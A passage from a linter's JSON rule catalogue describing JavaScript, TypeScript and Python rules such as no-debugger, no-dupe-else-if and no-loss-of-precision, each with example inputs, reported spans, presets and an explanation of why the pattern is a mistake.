          "id": "no-const-assign",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-const-assign"
        }
      ],
      "why": "Assigning to a `const` throws a `TypeError` when the line runs, so the program fails where the change was meant.\n\nTo fix, declare the variable with `let`, or stop reassigning it."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a statement or a call that stops the program in a debugger: a `debugger;` statement, a call of one of the `calls` of the language (Python `breakpoint()`, `pdb.set_trace()`), or an import matching the option `imports`. A language lists its calls in its grammar's `rule` row.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          2,
          3,
          4,
          5,
          6,
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 9,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-debugger",
      "languages": [
        "js",
        "python"
      ],
      "options": [
        {
          "default": [],
          "description": "Calls that start a debugger",
          "name": "calls",
          "type": "list"
        },
        {
          "default": "\\b\\B",
          "description": "An import of a debugger module",
          "name": "imports",
          "type": "string"
        }
      ],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "no-debugger",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-debugger"
        },
        {
          "id": "T100",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/T100/"
        }
      ],
      "why": "A debugger call left in the code stops the program for whoever runs it, and in production it hangs a request or a process. It is always a leftover.\n\nTo fix, delete the statement."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports `delete` applied to a plain variable name, also in parentheses (`delete x`, `delete (x)`). `delete x.y` and `delete x[0]` remove a property and are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          4,
          5,
          6,
          7
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 3
          },
          {
            "column": 30,
            "length": 10,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-delete-var",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-delete-var",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-delete-var"
        }
      ],
      "why": "`delete` removes object properties, not variables. On a variable it does nothing in sloppy mode (the expression is `false`) and is a syntax error in strict mode and in modules, so the code either has no effect or does not run.\n\nTo fix, assign `undefined` to the variable or leave the scope, or delete the property of an object instead."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a class member whose name is already used by another member of the class: two methods, two fields, a field and a method, two getters. A getter with its setter may share a name, and so may a `static` and an instance member.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var o = { a: 1, a: 2, \"b\": 1, b: 2, 1: 1, 1.0: 2, [c]: 1, [c]: 2, [\"d\"]: 1, d: 2 };\nvar p = { get g() { return 1; }, set g(v) {}, h: 1, get h() { return 1; }, ...s, ...s };\nvar q = { a, a, m() {}, m() {} };\nclass A { a() {} a() {} static b() {} b() {} get c() { return 1; } set c(v) {} d = 1; d = 2; [\"e\"]() {} e() {} }\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 18,
            "length": 6,
            "line": 4
          },
          {
            "column": 87,
            "length": 6,
            "line": 4
          },
          {
            "column": 105,
            "length": 6,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-class-members",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-dupe-class-members",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-dupe-class-members"
        }
      ],
      "why": "When two members have one name, the later one silently replaces the earlier, so the first body is dead code. It is usually a copy-paste mistake where the second member was meant to have another name.\n\nTo fix, rename one of them or delete the one that is not used."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an `else if` whose condition cannot be true at that point: it repeats a condition of an earlier branch of the chain (`if (a) {} else if (a) {}`), or each operand of its `||` is a whole earlier condition or an operand of an earlier `||` (`if (a || b) {} else if (a) {}`). A condition that is only implied by an earlier one (`a && b` after `a`) is not found.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "switch (a) { case 1: break; case 1: break; case \"x\": break; case 'x': break; case b + 1: break; case b+1: break; default: }\nif (a) {} else if (b) {} else if (a) {}\nif (a || b) {} else if (a) {} else if (b && c) {}\nif (a && b) {} else if (a) {} else if (b && a) {}\nif (a) { if (a) {} } else if (c) {} else { if (c) {} }\n",
        "language": "js",
        "other_lines": [
          1,
          5
        ],
        "spans": [
          {
            "column": 35,
            "length": 1,
            "line": 2
          },
          {
            "column": 25,
            "length": 1,
            "line": 3
          },
          {
            "column": 40,
            "length": 6,
            "line": 3
          },
          {
            "column": 40,
            "length": 6,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-dupe-else-if",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-dupe-else-if",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-dupe-else-if"
        }
      ],
      "why": "If an earlier condition was true its branch ran, and if it was false the same condition is false again, so the later branch never runs. This is nearly always a copy-paste slip where the condition was not changed, and the code the author meant to run is the dead one.\n\nTo fix, correct the condition or remove the branch."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an enum member initialised with a string or number that an earlier member of the same enum already has (`A = 0, B = 0`). Computed values (`1 + 1`) are not compared.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "enum E {\n  A = 0,\n  B = 0,\n  C = \"c\",\n}\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 5,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-duplicate-enum-values",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-duplicate-enum-values",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-duplicate-enum-values"
        }
      ],
      "why": "Two names for one value make a value to name lookup (the reverse mapping of a numeric enum) answer with the later one, and the second member is usually a copy-paste mistake with the value not changed.\n\nTo fix, give the member its own value."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `else` when the `if` and every `else if` before it end in `return` (what the `else` itself holds does not matter). An `else if` is not reported, and neither is a chain in which one of the earlier branches can fall through.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) { b(); } else { if (c) { d(); } }\nif (a) { b(); } else { if (c) { d(); } e(); }\nif (a) { b(); } else if (c) { d(); }\nfunction f(a) { if (a) { return 1; } else { return 2; } }\nfunction g(a) { if (a) { return 1; } else if (b) { return 2; } }\nfunction h(a) { if (a) { return 1; } else if (b) { return 2; } else { return 3; } }\nfunction i(a) { if (a) { x(); } else { return 2; } }\nvar x = a ? true : false;\nvar y = a ? false : true;\nvar z = a ? b : false;\nfunction j(a) { if (a) { if (b) { return 1; } else { return 2; } } else { return 3; } }\n",
        "language": "js",
        "other_lines": [
          1,
          8,
          9
        ],
        "spans": [
          {
            "column": 43,
            "length": 13,
            "line": 4
          },
          {
            "column": 69,
            "length": 13,
            "line": 6
          },
          {
            "column": 52,
            "length": 13,
            "line": 11
          },
          {
            "column": 73,
            "length": 13,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "no-else-return",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-else-return",
          "note": "the allowElseIf option and the skip for an else that declares names are not supported; one extra report in the three.js corpus (98 matched)",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-else-return"
        }
      ],
      "why": "When every earlier branch returns, the code in the `else` can follow the `if` without the `else`, which removes one level of nesting and makes the early return plain.\n\nTo fix, delete the `else` and de-indent its body."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `[]` in a regex literal. `[^]` (any character) and a `[]` in the string given to `new RegExp` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) {} else { /* kept */ }\ntry { f(); } catch (e) {} finally {}\ntry { f(); } catch (e) { throw e; }\ntry { f(); } catch (e) { throw e; } finally { g(); }\ntry { f(); } catch (e) { throw g; }\nswitch (a) {}\nfunction f() {}\nvar g = () => {};\nfor (;;) {}\nclass K { static {} }\nvar {} = o, [] = p, [,] = q, { a: {} } = r;\n({} = o);\nvar x = [1, , 2, ,], y = [[], [,]];\nvar r = /a[]/, s = /[]]/, t = /[^]/, u = /\\[]/, v = /[\\]]/, w = new RegExp(\"[]\");\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          9,
          11,
          12,
          13
        ],
        "spans": [
          {
            "column": 9,
            "length": 5,
            "line": 14
          },
          {
            "column": 20,
            "length": 5,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "no-empty-character-class",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-empty-character-class",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-empty-character-class"
        }
      ],
      "why": "A character class with no members can match nothing, so a regex that contains it never matches. It is nearly always an escape that was forgotten (`\\[\\]` meant) or a class whose content was deleted.\n\nTo fix, add the characters, or escape the brackets."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports the type `{}` (also in `type T = {}`) and an interface with no members that extends at most one type. `{}` in an intersection (`{} & X`) and an interface that extends two types are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a: any = 1;\ntype A = {};\ntype B = {} & { a: 1 };\ninterface C {}\ninterface D extends A {}\ninterface E extends A, B {}\ninterface F { a: 1 }\ntype L = { a: 1 };\ntype M = A | B;\nlet g: Array<number>, h: ReadonlyArray<string>, i: Readonly<string[]>, j: Array<number, string>, k: number[];\n",
        "language": "js",
        "other_lines": [
          1,
          8,
          10
        ],
        "spans": [
          {
            "column": 10,
            "length": 2,
            "line": 2
          },
          {
            "column": 11,
            "length": 1,
            "line": 4
          },
          {
            "column": 11,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-empty-object-type",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-empty-object-type",
          "note": "the options (`allowInterfaces`, `allowObjectTypes`, `allowWithName`) keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-empty-object-type"
        }
      ],
      "why": "`{}` does not mean an empty object: it accepts every value except `null` and `undefined`, numbers and strings included. An empty interface that only extends one type is the same as that type.\n\nTo fix, write `object` for any non-primitive, `unknown` for any value, `Record<string, never>` for an empty object, or the type itself."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a destructuring pattern with nothing in it: `{}` or `[]` in a declaration, a parameter, an assignment target or nested in another pattern (`var {a: {}} = x`). A default value in a pattern (`{a = {}}`) is not an empty pattern.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) {} else { /* kept */ }\ntry { f(); } catch (e) {} finally {}\ntry { f(); } catch (e) { throw e; }\ntry { f(); } catch (e) { throw e; } finally { g(); }\ntry { f(); } catch (e) { throw g; }\nswitch (a) {}\nfunction f() {}\nvar g = () => {};\nfor (;;) {}\nclass K { static {} }\nvar {} = o, [] = p, [,] = q, { a: {} } = r;\n({} = o);\nvar x = [1, , 2, ,], y = [[], [,]];\nvar r = /a[]/, s = /[]]/, t = /[^]/, u = /\\[]/, v = /[\\]]/, w = new RegExp(\"[]\");\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          9,
          13,
          14
        ],
        "spans": [
          {
            "column": 5,
            "length": 2,
            "line": 11
          },
          {
            "column": 13,
            "length": 2,
            "line": 11
          },
          {
            "column": 35,
            "length": 2,
            "line": 11
          },
          {
            "column": 2,
            "length": 2,
            "line": 12
          }
        ]
      },
      "fix": null,
      "id": "no-empty-pattern",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-empty-pattern",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-empty-pattern"
        }
      ],
      "why": "An empty pattern binds no name, so the statement does nothing but check that the value is not `null` or `undefined`. It is usually a mistake for a default value: `function f({a: {}}) {}` was meant to be `function f({a = {}}) {}`, and the parameter stays without a default.\n\nTo fix, write the names to bind, or the default with `=`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports the `any` type wherever a type is written (`let a: any`, `any[]`, a constraint such as `T extends any`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a: any = 1;\ntype A = {};\ntype B = {} & { a: 1 };\ninterface C {}\ninterface D extends A {}\ninterface E extends A, B {}\ninterface F { a: 1 }\ntype L = { a: 1 };\ntype M = A | B;\nlet g: Array<number>, h: ReadonlyArray<string>, i: Readonly<string[]>, j: Array<number, string>, k: number[];\n",
        "language": "js",
        "other_lines": [
          2,
          4,
          5,
          8,
          10
        ],
        "spans": [
          {
            "column": 8,
            "length": 3,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-explicit-any",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-explicit-any",
          "note": "the options (`ignoreRestArgs`, `fixToUnknown`) keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-explicit-any"
        }
      ],
      "why": "`any` turns off type checking for everything that touches the value, and the value spreads: a call result, a property and an assignment of an `any` are `any` too, so one hole hides errors far from where it is written.\n\nTo fix, use `unknown` (it must be checked before use) or a real type."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports `!!x` and `Boolean(x)` in a place that already converts the value to a boolean: the test of `if`, `while`, `do ... while`, `for` and `?:`, the operand of `!`, and the argument of `Boolean(...)`. `const b = !!x`, a call argument (`f(!!x)`) and `!!(x)` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a = a; a.b = a.b; a[\"b\"] = a.b; a[b] = a[b]; this.c = this.c; a = b; a.b = a.c; a &&= a; a += a;\n[a, b] = [a, b]; [a, ...b] = [a, ...b]; [a, b] = [b, a]; ({ a } = { a }); ({ a: b } = { a: b });\nif (a = b) {} if ((a = b)) {} while (a = b) {} do {} while (a = b); for (; a = b; ) {} for (; (a = b); ) {}\nvar x = (a = b) ? 1 : 2, y = a = b ? 1 : 2;\nif (!!a) {} while (!!a) {} do {} while (!!a); for (; !!a; ) {} var z = !!a ? 1 : 2, w = !!a;\nif (Boolean(a)) {} if (!Boolean(a)) {} Boolean(!!a); !!!a; if ((!!a)) {} if (a && !!b) {} var u = Boolean(a);\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3
        ],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 5
          },
          {
            "column": 20,
            "length": 3,
            "line": 5
          },
          {
            "column": 41,
            "length": 3,
            "line": 5
          },
          {
            "column": 54,
            "length": 3,
            "line": 5
          },
          {
            "column": 72,
            "length": 3,
            "line": 5
          },
          {
            "column": 5,
            "length": 10,
            "line": 6
          },
          {
            "column": 25,
            "length": 10,
            "line": 6
          },
          {
            "column": 48,
            "length": 3,
            "line": 6
          },
          {
            "column": 55,
            "length": 3,
            "line": 6
          },
          {
            "column": 65,
            "length": 3,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-extra-boolean-cast",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-extra-boolean-cast",
          "note": "the `enforceForLogicalOperands` option is not supported",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-extra-boolean-cast"
        }
      ],
      "why": "The cast changes nothing where the language already tests for truthiness, so it only adds noise and can suggest that the plain value is not allowed there. Where the real boolean is needed (an assignment, an argument), the cast does a job and is left alone.\n\nTo fix, remove the `!!` or the `Boolean(...)` call."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a second non-null assertion in a row (`a!!.b`) and a `!` right before an optional chain (`a!?.b`, `a!?.()`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a!.b;\na!!;\na!?.b;\na!?.();\na?.b!.c;\na![0];\n`${a!.b}x`;\n",
        "language": "js",
        "other_lines": [
          1,
          5,
          6,
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 2,
            "line": 2
          },
          {
            "column": 1,
            "length": 2,
            "line": 3
          },
          {
            "column": 1,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-extra-non-null-assertion",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-extra-non-null-assertion",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-extra-non-null-assertion"
        }
      ],
      "why": "The second `!` of `a!!` changes nothing. In `a!?.b` the `!` says the value is not `null` while `?.` says it may be, so one of the two is wrong and the reader cannot tell which.\n\nTo fix, remove the extra `!`, or the `?.` if the value cannot be null."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports an assignment to a function that is declared by name (`function f() {} f = 0;`), also `f++`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import d, { n as m } from \"m\";\nimport * as ns from \"ns\";\nconst c = 1; c = 2; c += 1; c++; [c] = [1]; ({ c } = {}); for (c of []) {}\nclass K { static f() { K = 1; } } K = 2; (class L { f() { L = 1; } });\nfunction g() {} g = 3; (function h() { h = 1; });\nd = 1; m++; ns = 1; ns.x = 1; delete ns.y; ns.a.b = 1; [ns.z] = []; Object.assign(ns, {}); Object.keys(ns);\nconst o = { c }; const [q] = [c]; var v = 1; v = 2; let l = 1; l = 2;\n",
        "language": "js",
        "other_lines": [
          3,
          4,
          6
        ],
        "spans": [
          {
            "column": 17,
            "length": 1,
            "line": 5
          },
          {
            "column": 40,
            "length": 1,
            "line": 5
          }
        ]
      },
      "fix": null,
      "id": "no-func-assign",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-func-assign",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-func-assign"
        }
      ],
      "why": "A function declaration is hoisted, so calls above the assignment run the original and calls below run the new value. The name then means two things in one scope, and the declaration reads as the only definition.\n\nTo fix, assign to another variable, or declare the function with `let f = function () {}` where reassigning is intended."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a write to an imported name (`import a from 'a'; a = 1`, `bb = 2`), and a write to a member of a namespace import (`ns.x = 1`), a `delete ns.y` and `Object.assign(ns, {})`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "import d, { n as m } from \"m\";\nimport * as ns from \"ns\";\nconst c = 1; c = 2; c += 1; c++; [c] = [1]; ({ c } = {}); for (c of []) {}\nclass K { static f() { K = 1; } } K = 2; (class L { f() { L = 1; } });\nfunction g() {} g = 3; (function h() { h = 1; });\nd = 1; m++; ns = 1; ns.x = 1; delete ns.y; ns.a.b = 1; [ns.z] = []; Object.assign(ns, {}); Object.keys(ns);\nconst o = { c }; const [q] = [c]; var v = 1; v = 2; let l = 1; l = 2;\n",
        "language": "js",
        "other_lines": [
          3,
          4,
          5
        ],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 6
          },
          {
            "column": 8,
            "length": 1,
            "line": 6
          },
          {
            "column": 13,
            "length": 1,
            "line": 6
          },
          {
            "column": 21,
            "length": 1,
            "line": 6
          },
          {
            "column": 31,
            "length": 1,
            "line": 6
          },
          {
            "column": 56,
            "length": 1,
            "line": 6
          },
          {
            "column": 69,
            "length": 1,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-import-assign",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-import-assign",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-import-assign"
        }
      ],
      "why": "Imports are read-only live views of the exporting module. Assigning to one throws a `TypeError` in module code, and the namespace object of `import * as ns` cannot be changed either.\n\nTo fix, keep the value in a local variable, or let the exporting module offer a function that changes it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a type annotation on a variable, parameter or class property whose initial value already gives that type (`const a: number = 5`, `s: string = 'x'`, `b: boolean = true`, `n: bigint = 1n`). A value from a call, a `readonly` property and an optional property are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let a: \"a\" = \"a\", b: \"a\" = 'a', c: 1 = 1, d: string = \"a\";\nclass C { p: \"a\" = \"a\"; q = 1 as 1; r = <\"a\">\"a\"; s = \"a\" as \"b\"; }\n",
        "language": "js",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 43,
            "length": 15,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-inferrable-types",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-inferrable-types",
          "note": "the options (`ignoreParameters`, `ignoreProperties`) keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-inferrable-types"
        }
      ],
      "why": "The compiler infers the same type from the value, so the annotation only adds a second place to keep in sync.\n\nTo fix, drop the annotation."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports unusual whitespace characters: vertical tab, form feed, no-break space (U+00A0), the spaces and zero-width characters U+2000 to U+200B, line and paragraph separators, narrow no-break space, medium mathematical space, ideographic space, and a byte order mark that is not at the start of the file. A string literal is not checked (the character is data there); comments, template literals and regex literals are. A run of them is one report.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = 1;\nvar b = \" \";\n// a comment with a space\nvar c = ` `;\nvar d = / /;\nvar e =  f;\nvar g = \"\\u00a0\";\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 1
          },
          {
            "column": 18,
            "length": 1,
            "line": 3
          },
          {
            "column": 10,
            "length": 1,
            "line": 4
          },
          {
            "column": 10,
            "length": 1,
            "line": 5
          },
          {
            "column": 8,
            "length": 2,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-irregular-whitespace",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-irregular-whitespace",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-irregular-whitespace"
        }
      ],
      "why": "These characters look like a space (or like nothing) but are different characters: a search for a space does not find them, a diff shows no change, and in code outside a string or comment some of them make the file fail to parse. They usually arrive by copying text from a web page or a document.\n\nTo fix, replace them with an ordinary space, or write the character as an escape (`\\u00a0`) where it is wanted."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an `if` that is the only statement of an `else` block (`else { if (b) { ... } }`), also when that `if` has its own `else`. An `else` block with other statements, and an `if` inside an `else if`, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) { b(); } else { if (c) { d(); } }\nif (a) { b(); } else { if (c) { d(); } e(); }\nif (a) { b(); } else if (c) { d(); }\nfunction f(a) { if (a) { return 1; } else { return 2; } }\nfunction g(a) { if (a) { return 1; } else if (b) { return 2; } }\nfunction h(a) { if (a) { return 1; } else if (b) { return 2; } else { return 3; } }\nfunction i(a) { if (a) { x(); } else { return 2; } }\nvar x = a ? true : false;\nvar y = a ? false : true;\nvar z = a ? b : false;\nfunction j(a) { if (a) { if (b) { return 1; } else { return 2; } } else { return 3; } }\n",
        "language": "js",
        "other_lines": [
          4,
          6,
          8,
          9,
          11
        ],
        "spans": [
          {
            "column": 24,
            "length": 15,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-lonely-if",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-lonely-if",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-lonely-if"
        }
      ],
      "why": "`else { if (b) ... }` is the same as `else if (b) ...` and has one more level of nesting and braces for the reader to follow.\n\nTo fix, write `else if`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a number literal that the 64-bit double it becomes does not hold exactly: `9007199254740993` (above 2^53), `0x20000000000001`, a value that is too large (`1e400`, becomes `Infinity`) or too small (`2e-400`, becomes `0`). `9007199254740992`, `0.1`, a number that has an exact double (`1e20`) and BigInt literals (`123n`) are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = /a  b/, b = /a {2}b/, c = /[  ]/, d = /a  +/, e = /a   +/, f = new RegExp(\"a  b\"), g = RegExp(\"a b\"), h = /a\\  b/;\nvar i = 017, j = 08, k = 0, l = 0.5, m = 0o17;\nvar p = 9007199254740993, q = 0.1, r = 5123000000000000000000000000001, s = 0x20000000000001, t = 0x1fffffffffffff;\nvar u = 12345678901234567890, v = 0.30000000000000004, w = 1_000, x = 0.1000000000000000055511151231257827, y = 1e3;\n",
        "language": "js",
        "other_lines": [
          1,
          2
        ],
        "spans": [
          {
            "column": 9,
            "length": 16,
            "line": 3
          },
          {
            "column": 40,
            "length": 31,
            "line": 3
          },
          {
            "column": 77,
            "length": 16,
            "line": 3
          },
          {
            "column": 9,
            "length": 20,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-loss-of-precision",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-loss-of-precision",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-loss-of-precision"
        }
      ],
      "why": "JavaScript rounds such a literal when the file is read, so the program computes with another number than the one written, with no error. Integers above 2^53 lose their last digits, which breaks ids and counters.\n\nTo fix, use a BigInt literal (`9007199254740993n`), keep the value in a string, or write the number the double really holds."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports `new` and `constructor` declarations that do not describe a constructor: a class method signature `new(): C;` without a body that returns the class itself, an interface signature `new (): I` that returns the interface itself, and an interface member named `constructor()`. A class method named `new` with a body is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "namespace N.M {}\ndeclare module \"x\" {}\ndeclare global {}\ndeclare namespace Q {}\nconst a = require(\"a\"), b = a.require(\"b\");\nimport c = require(\"c\");\nfunction local(require: (id: string) => void) { require(\"d\"); }\nconst self = this, { x } = this;\ny = this;\nclass K { new(): K; new(): number; new() {} }\ninterface I { new (): I; new (): number; constructor(): void }\nfunction f(): void;\nfunction g(): void {}\nfunction f(x: number): void;\nfunction f(x?: number) {}\nclass O { m(): void; n(): void; m(x: number): void; static m(): void; static m(x: number): void; }\ninterface P { (): void; a(): void; (x: number): void }\n",
        "language": "js",
        "other_lines": [
          1,
          4,
          5,
          6,
          8,
          9,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 11,
            "length": 9,
            "line": 10
          },
          {
            "column": 15,
            "length": 10,
            "line": 11
          },
          {
            "column": 42,
            "length": 19,
            "line": 11
          }
        ]
      },
      "fix": null,
      "id": "no-misused-new",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-misused-new",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-misused-new"
        }
      ],
